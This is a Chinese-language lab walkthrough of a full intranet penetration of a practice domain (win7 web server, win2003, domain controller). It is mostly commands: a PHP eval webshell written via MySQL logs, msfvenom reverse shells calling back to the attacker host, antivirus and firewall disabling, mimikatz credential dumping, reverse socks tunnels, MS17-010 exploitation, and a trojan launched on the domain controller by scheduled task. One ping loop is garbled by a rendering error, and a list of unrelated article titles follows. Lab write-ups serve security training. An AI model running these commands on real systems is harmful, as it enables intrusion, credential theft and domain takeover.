这靶场称为入门很名副其实,基本操作、思路都包含了,自己动手作了,细细体会,收获还是良多的,大家细品;

环境配置

压缩包中的win7为VM1,win2003为VM2,win2008为VM3,拓扑图如下所示

kali设置成NAT模式,win7网络适配器1设置成自定义(VMnet1仅主机模式),网络适配器2设置成NAT模式,win2003、win2008 网络适配器设置成自定义(VMnet1仅主机模式)。主机默认开机密码都是hongrisec@2019,手动在win7的c盘下开启phpstudy。
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
攻击机:kali ip:192.168.164.134 Windows ip:192.168.164.128
win7 内网ip:192.168.52.143 外网ip:192.168.164.137 在Win7主机上手动开启phpstuday
win2003 ip:192.168.52.141
win2008 ip:192.168.52.138

添加一块自定义的网卡就行,系统里已经配置好了ip,就不用在更改什么配置了;

一、web服务器渗透

1、拿下web管理权


上了大型漏扫awvs、Netsparker、zap都没有发现可利用的漏洞,连后台都没有发现(可见不能依赖扫描器),上了几个扫目录的也没有发现后台,真实后台如下,这招是真有点狠,难怪一般的都扫不到后台;

进入了后台,开始寻找上传点,准备写入webshell;

前台模板处可以进行编辑;数据库可以执行sql语句,这两点已经暗示的很明显了,上传文件管理的地方其实不能上传。。。

打开一个模板写入一句话(添加到第一行,第二行程序退出了,所以添加的时候也是要看代码的),甚至还可以新建一个模板也可以,接下来要找到模板的正确位置才能连接;
网站是存在目录泄露漏洞的,将所有泄露的目录都翻一遍,最终找到了模板存放的位置;

蚁剑连上,

因为有phpmyadmin,且存在root/root的弱口令漏洞,所以直接连接,navicat尝试了,是无法进行远程连接的;

还是用数据库写日志的老方法来添加webshell;

show variables like "%general%"
set global general_log=on;# 开启日志
set global general_log_file='C:/phpStudy/WWW/yxcms/hack.php';# 设置日志位置为网站目录
select "<?php eval($_POST[apple]);?>";




同样可以连接成功;
查看下身份,是管理员,也不用花心思提权啥的了,接下来愉快的开始内外渗透;

2、拿下web服务器

(1)基于CS的方式

如果用webshell自带命令终端来执行命令,很多命令执行不成功或不回显,所以这里先用CS或MSF取的控制权限,在来进行后续的操作;


配置好监听器:

生成后门上传执行一起合成;

成功连接,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,sleep 5,

安装插件:

提权成功,可看到多出一个通道;

先进行基本信息的收集:在提权成功的情况下,以system的身份来运行下列命令,大部分都有回显,不会报错;

ipconfig /all   查看本机ip,所在域
route print     打印路由信息
net view        查看局域网内其他主机名
arp -a          查看arp缓存
net start       查看开启了哪些服务
net share       查看开启了哪些共享
net share ipc$  开启ipc共享
net share c$    开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""   与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  建立c盘共享
dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盘user目录下的文件
net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 查看本机用户列表
net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain         查看域用户
net localgroup administrators   查看本地管理员组(通常会有域用户)
net view /domain         查看有几个域
net user 用户名 /domain   获取指定域用户的信息
net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    查看域中某工作组
net group "domain admins" /domain  查看域管理员的名字
net group "domain computers" /domain  查看域中的其他主机名
net group "doamin controllers" /domain  查看域控制器(可能有多台)

整理一下信息
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143

这里在进行一个操作,将会话分给msf一个;
msf那边如下操作:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.164.134
lhost => 192.168.164.134
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit

CS这边先新增监听器,然后选增加会话,即spawn


成功后:

在来一个操作,开启远程桌面;

3389没开;
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
输入命令后开启:

添加用户:



可惜就是连接不上;
nmap试了下,原来是安装了防火墙,端口被过滤了;

(2)基于msf的方式

转到msf,用msf来反弹shell;

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134  LPORT=4444 -f exe > shell.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.164.134
set lport 4444
exploit


meterpreter的退出与进入:


常规的先提权,由于在CS里已经提过一次了,CS里是以system权限运行的程序,所以这里直接就是system权限了;

执行run post/windows/manage/enable_rdp模块来关闭防火墙,并使用rdesktop打开远程桌面

可以远程连接了:

因为远程登录会断开该主机当前的连接,没事还是少远程;

抓取密码的方法:



ps命令查看进程ID,一般选择explorer.exe对应的PID
mimikatz_command -f sekurlsa::searchPasswords

找了个无参数版的mimikatz,效果最好,神器不是白叫的。。。。

探测域内存活主机:
run windows/gather/enum_ad_computers

域控列表
run windows/gather/enum_domains

所有存活主机


Post 后渗透模块

run post/windows/manage/migrate           #自动进程迁移
run post/windows/gather/checkvm           #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav            #关闭杀毒软件
run post/windows/manage/enable_rdp        #开启远程桌面服务
run post/windows/manage/autoroute         #查看路由信息
run post/windows/gather/enum_logged_on_users    #列举当前登录的用户
run post/windows/gather/enum_applications       #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump               #dump出所有用户的hash
run getgui -u hack -p 123
有时候无法使用后渗透模块添加用户
可以使用shell自主添加
net user hack Zyx960706 /add
net localgroup administrator hack /add
netsh advfirewall set allprofiles state off        #关闭防火墙
net stop windefend

域内存活主机探测(系统、端口)

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机
auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(1-10000),如果开放了端口,则说明该主机存活

端口扫描

auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(1-10000)
auxiliary/scanner/portscan/ack           #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
端口扫描有时会使会话终端,所以可以上传nmap后在shell中使用nmap扫描。但是要记得清理

服务扫描

auxiliary/scanner/ftp/ftp_version        #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version        #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version  #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp            #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version      #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title             #探测内网http服务的标题
auxiliary/scanner/smb/smb_version        #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump  #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump  #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version    #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner        #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server     #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version        #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname         #探测内网主机的netbios名字

msf派生给CS:


打开msf,使用payload_inject模块注入到cobalt strike,注意使用的payload要和cs的一致为reverse_http,因为cs监听的是reverse_http

meterpreter > background
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
# 设置与cs相同的payload,别加x64,尽管被入侵系统是x64的;
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128
msf5 exploit(windows/local/payload_inject) > set lport 4444
# 设置刚才获得session
msf5 exploit(windows/local/payload_inject) > set session 1
msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true
msf5 exploit(windows/local/payload_inject) > run


至此,web服务器已经完全拿下了,现在剩下2台纯内网的机器了;

二、横向移动,内网其他机器的渗透:

探测内网存活的主机,利用ping命令;
windows下:
for /l %p in (1,1,254) do @ping -l 1 -n 3 -w 40 192.168.52.%p & if errorlevel 1 (echo 192.168.52.%p>>na.txt) else (echo 192.168.1.%p>>ok.txt)

Linux下:
for i in {1…254}; do ping -q -i 0.01 -c 3 192.168.164.KaTeX parse error: Expected 'EOF', got '&' at position 3: i &̲> /dev/null && …i is alive; done

1、搭建代理

发现目标后,为方便后续工具的使用,需要先搭建代理,将web服务器搭建成socks5代理服务器,内网渗透里先把网调通是最关键的,所以下面会多讲点代理的问题;

(1)meterpreter搭建反向socks4代理

run get_local_subnets #查看路由段
run autoroute -s 192.168.52.0/24 #添加路由至本地
run autoroute -p #打印当前路由信息

退出来连接同样是存在的,可以放心操作;

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
编辑本地的代理服务:
vim /etc/proxychains.conf




测试一下:
proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141 # -Pn和-sT必须要有


proxychains是无法代理icmp流量的,所以ping是没有用的

补充一个meterpreter反弹单个端口的用法:
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

meterpreter > portfwd  -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:-L <opt>  The local host to listen on (optional).-h        Help banner.-l <opt>  The local port to listen on.-p <opt>  The remote port to connect to.-r <opt>  The remote host to connect to.

使用实例介绍:
反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:
meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
meterpreter > portfwd
0: 0.0.0.0:2222 -> 10.1.1.129:3389
1 total local port forwards.
接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下:
root@kali:~# rdesktop 127.1.1.0:2222

(2)ew、frp搭建代理

了解清楚代理的原理之后,还可以用第三方的软件来试试,比如ew,frp;
在这里把kali的攻击机可以理解为公网,web服务器那台理解为内网,下面以ew测试:
kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
win7:ew.exe -s rssocks -d 192.168.164.134 -e 1024

上面的配置完后,可以开始测试了:

利用frp搭建socks代理
上传frp客户端及配置文件到目标机器


实践当中多用反向代理,正向的容易被防火墙拦住,所以都是将程序的服务器端架在公网,客户端在内网,做横向移动;

(3)CS搭建代理

CS添加一个代理:建立了一条由攻击机到web服务器的socks通道,socks的服务端在攻击机,也是反向代理;

View > Proxy Pivots复制代理链接到MSF中

msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。
这里ip需要修改为CS服务器的ip;

2、第一台内网主机的打法:

开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003

ms08-067没打下来,可以用 use auxiliary/admin/smb/ms17_010_command 执行一些系统权限的命令,添加管理员用户尝试3389登录

use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command net user test hongrisec@2019 /add #添加用户
run #成功执行
set command net localgroup administrators test /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行

这里特别注意,因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题
远程连接一下:


还有一种思路是:
然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,在多次尝试后终于成功了:

use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.52.141
set payload windows/meterpreter/bind_tcp
set lhost 192.168.164.134
set lport 6666
set SMBPass hongrisec@2019
set SMBUser test
run



先查看有那些补丁没有打…
run post/windows/gather/enum_patches

3、第二台内网主机的打法:

最后一个域控,用的共享的方法,前面已经知道了密码,先用meterpreter进入shell,然后运行命令;
net use \192.168.52.138\c$ “hongrisec@2019” /user:“administrator”
dir \192.168.52.138\c$

重新生成一个木马,上传,
copy c:\phpstudy\www\yxcms\shell.exe \192.168.52.138\c$
设置一个任务计划,定时启动木马之后就能够获取域控的shell了
schtasks /create /tn “test” /tr C:\shell222.exe /sc once /st 22:51 /S 192.168.52.138 /RU System /u administrator /p “hongrisec@2019”

还有一方法:
因为之前抓到了域管理的账号密码所以直接使用exploit/windows/smb/psexec模块拿下域控,且是管理员权限

至此,整个靶场环境完成了一遍,细细回味,学到了很多,也发现自己在内网渗透方面还缺很多知识,待后续几个靶场继续弥补吧。

ATTCK实战系列一(内网渗透入门)相关推荐

  1. Linux的内网渗透入门教程:第一节 通过arp欺骗进行网关劫持,截获别人手机的图片(VMware环境)

    免责声明:本人提供的任何工具.文章和知识,只可研究学习,本人对使用这些工具.文章和知识而导致的一切后果,不承担任何法律责任.请大家文明上网,远离网络非法行为! 一.引言 这是本人第一次写博客,据我一位 ...

  2. 内网渗透系列:内网渗透思路整理

    目录 前言 一.整体概述 1.攻击思路 2.敏感信息 3.攻击过程 二.信息收集 1.主机发现 2.端口扫描 3.漏洞扫描 4.识别内网环境 (1)办公网 (2)生产网 三.漏洞验证 / 漏洞攻击 ( ...

  3. 5.内网渗透之PTHPTTPTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  4. 内网渗透系列:内网隧道之ICMP隧道

    目录 前言 一.ICMP隧道技术 1.ICMP协议 (1)报文格式 (2)ping 2.ICMP隧道 (1)原理 (2)优缺点 二.ICMP隧道工具 1.icmpsh (1)源码 (2)用法 2.ic ...

  5. 緊急流出!我會進入!手把手教你入门内网渗透(放課後Hなアルバイト)

    前言 本文是关于内网安全系列的文章,我计划分为3部分来写,内网渗透三步走战略.在文章中我将尽可能把内容描述的通俗易懂一些,因为目前网上关于内网安全的文章不多也不少,但是对于新手来说都不怎么友好,我在一 ...

  6. 内网渗透系列:内网信息搜集方法小结2

    目录 前言 一.本机信息搜集 1.用户列表 (1)windows用户列表 (2)分析邮件用户 2.进程列表 3.服务列表 4.端口列表 5.补丁列表 6.本机共享 7.本用户习惯分析 8.获取当前用户 ...

  7. 内网渗透系列之mimikatz的使用以及后门植入

    内网渗透系列之mimikatz的使用以及后门植入 文章目录 内网渗透系列之mimikatz的使用以及后门植入 前言 mimikatz的使用 后门植入 msf永久后门植入 (1)Meterpreter后 ...

  8. 内网渗透系列:信息搜集方法小结2

    目录 前言 一.开源情报(OSINT) 1.whois/反查/相关资产 2.github敏感信息 (1)github邮箱密码爬取 (2)GSIL (3)x-patrol 3.google hackin ...

  9. 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

    目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...

  10. 内网渗透系列:内网隧道之pingtunnel

    目录 前言 一.概述 1.简介 2.原理 3.使用 (1)直连出网 (2)跳板出网 二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)nc 3.抓包看看 三.探索 1.源码与分析 ( ...

最新文章

  1. PL/SQL学习笔记(四)
  2. json_encode用法
  3. 【搜索引擎基础知识2】网络爬虫的介绍
  4. mysql环境安装与配置
  5. pip 更改源   pip加速
  6. Linux 命令(36)—— awk 命令
  7. oracle中插入一个blob数据
  8. R语言金融基础:tidyquant获取数据(标普500与纳斯达克)
  9. 面向对象分析过程案例实战
  10. 闽江学院2015-2016学年下学期《软件测试》课程-第四次博客作业
  11. qt 语言设置乱码_QT中文乱码与国际化支持
  12. Lumerical---FDTD仿真区域设置问题
  13. 一键搭建kms激活服务器
  14. .so has text relocations. This is wasting memory and prevents security hardening. Please fix.
  15. C#学习笔记:子类于父类的构造函数的关系【By Myself】
  16. 输入一串字符,将其中的大写变成小写,若不为大写则原样输出
  17. SparkStreaming读取Kafka数据源并写入Mysql数据库
  18. 电脑连得上Wifi打开网页速度慢,但使用热点却没问题怎么解决
  19. elementui自定义进度条形状
  20. POJ1061-青蛙的约会【扩展欧几里得】

热门文章

  1. php 判断邮箱_php检测邮箱地址是否存在
  2. stm32f4 自旋锁_STM32L0系列控制器低功耗模式详解
  3. tab点击一个按钮切换排序_Axure8原型教程:实现Tab选项切换
  4. c语言超声波壁障源码,【图片】超声波避障小车源程序【精】【单片机吧】_百度贴吧...
  5. 【BZOJ1057】[ZJOI2007] 棋盘制作(单调栈的运用)
  6. BestCoder Round #67 (div.2) N*M bulbs
  7. POJ 3422 Kaka's Matrix Travels(最小费用最大流+拆点)
  8. 免费源码赠送之 printf(C语言简化版)
  9. cvPyrSegmentation() 图像金字塔分割
  10. xml 文件属性修改